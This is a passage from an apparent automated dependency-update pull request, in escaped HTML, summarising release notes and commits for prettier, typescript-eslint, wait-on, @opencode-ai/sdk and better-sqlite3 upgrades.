href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix blank lines between list items and nested sub-lists being removed in Markdown/MDX (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/17746\"\u003eprettier/prettier#17746\u003c/a\u003e by \u003ca href=\"https://github.com/byplayer\"\u003e\u003ccode\u003e@​byplayer\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.4/CHANGELOG.md#384\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSCSS: Prevent trailing comma in \u003ccode\u003eif()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/18471\"\u003eprettier/prettier#18471\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.3/CHANGELOG.md#383\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.2...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.58.1 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.1 (2026-06-15)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.61.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.0 (2026-06-08)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/3ea32f4ba5e196c08c6da1095619d7f65ba4905e\"\u003e\u003ccode\u003e3ea32f4\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/54e285728e5d8cb83fadb8041189f0c3b4ab436a\"\u003e\u003ccode\u003e54e2857\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/81e4c2654c3f4d923766a888691add2c45b5d64a\"\u003e\u003ccode\u003e81e4c26\u003c/code\u003e\u003c/a\u003e feat: remove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/aaad7187b529c4b6ff8088ffd7e948c69c2763b6\"\u003e\u003ccode\u003eaaad718\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/16a5b247affc32af21b695cf96dfd75d7ded50a3\"\u003e\u003ccode\u003e16a5b24\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/4f84a697aedc436559c3ae09b5b357d98b448d68\"\u003e\u003ccode\u003e4f84a69\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.60.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/1849b530c254fb4f89d7270160f3a998e4acd964\"\u003e\u003ccode\u003e1849b53\u003c/code\u003e\u003c/a\u003e chore: typecheck using tsgo (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12139\"\u003e#12139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/f891c29de5f3e23f3d8c59cc599d3196e54e9b58\"\u003e\u003ccode\u003ef891c29\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.60.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `wait-on` from 9.0.5 to 9.0.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jeffbski/wait-on/releases\"\u003ewait-on's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.0.10\u003c/h2\u003e\n\u003cp\u003eCleaned up unnecessary files from npm published package, added code coverage\u003c/p\u003e\n\u003cp\u003eRemoved:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e.fastembed_cache\u003c/li\u003e\n\u003cli\u003e.github\u003c/li\u003e\n\u003cli\u003e.nyc_output\u003c/li\u003e\n\u003cli\u003ecoverage\u003c/li\u003e\n\u003cli\u003e.editorconfig\u003c/li\u003e\n\u003cli\u003e.nycrc.json\u003c/li\u003e\n\u003cli\u003e.prettierrc.js\u003c/li\u003e\n\u003cli\u003eeslint.config.mjs\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIncreased code coverage\u003c/p\u003e\n\u003cp\u003eThanks \u003ca href=\"https://github.com/aarongoldenthal\"\u003e\u003ccode\u003e@​aarongoldenthal\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.6\u003c/h2\u003e\n\u003cp\u003eUpdate minor deps for security vulnerabilities\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eaxios\n\u003cul\u003e\n\u003cli\u003efollow-redirects\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003ejoi\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/27d5744b183fb4cf124ffc62281b2c52bfe5cd78\"\u003e\u003ccode\u003e27d5744\u003c/code\u003e\u003c/a\u003e 9.0.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/c7c97dfd2088d69a468c6fbce03d8837436a022d\"\u003e\u003ccode\u003ec7c97df\u003c/code\u003e\u003c/a\u003e correct .npmignore for .prettierrc.js\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/c1522520b6fb2351ddaefc6ef9f79b15a2700275\"\u003e\u003ccode\u003ec152252\u003c/code\u003e\u003c/a\u003e 9.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/95f01cd77c661cde681dbc57e4dbcdbd11903c26\"\u003e\u003ccode\u003e95f01cd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/210\"\u003e#210\u003c/a\u003e from jeffbski/cleanup-more-npm-publish\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/d45cff39d725bc8354b62c7104c435c2591e0e13\"\u003e\u003ccode\u003ed45cff3\u003c/code\u003e\u003c/a\u003e more npm publish cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/bab38d287551a3e4ad42313b8bf2fd51607b7be2\"\u003e\u003ccode\u003ebab38d2\u003c/code\u003e\u003c/a\u003e 9.0.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/0ab94732f48c2b730906d8a4c1f8933e8998a8a9\"\u003e\u003ccode\u003e0ab9473\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/209\"\u003e#209\u003c/a\u003e from jeffbski/exclude-coverage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/881dfaa01262068519b93ae0635c695469aff123\"\u003e\u003ccode\u003e881dfaa\u003c/code\u003e\u003c/a\u003e also exclude .nyc_output and coverage from npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/e3dad371c52a97b59439134dac08e6f2bc005f40\"\u003e\u003ccode\u003ee3dad37\u003c/code\u003e\u003c/a\u003e 9.0.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeffbski/wait-on/commit/5a681e5e5ab2cc523ba43f83c530ff71a8cba29d\"\u003e\u003ccode\u003e5a681e5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jeffbski/wait-on/issues/208\"\u003e#208\u003c/a\u003e from jeffbski/exclude-fastembed-cache-from-npm-publish\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jeffbski/wait-on/compare/v9.0.5...v9.0.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@opencode-ai/sdk` from 1.14.18 to 1.17.20\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sst/opencode-sdk-js/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `better-sqlite3` from 12.8.0 to 12.11.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/releases\"\u003ebetter-sqlite3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev12.11.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Electron v42 build errors on Windows by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1488\"\u003eWiseLibs/better-sqlite3#1488\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.11.0...v12.11.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.11.0...v12.11.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.11.0\u003c/h2\u003e\n\u003ch2\u003e⚠️CAUTION: NOT A VIABLE RELEASE\u003c/h2\u003e\n\u003cp\u003eUse \u003ccode\u003ev12.11.1\u003c/code\u003e instead.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing Electron v42 build target by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1486\"\u003eWiseLibs/better-sqlite3#1486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull 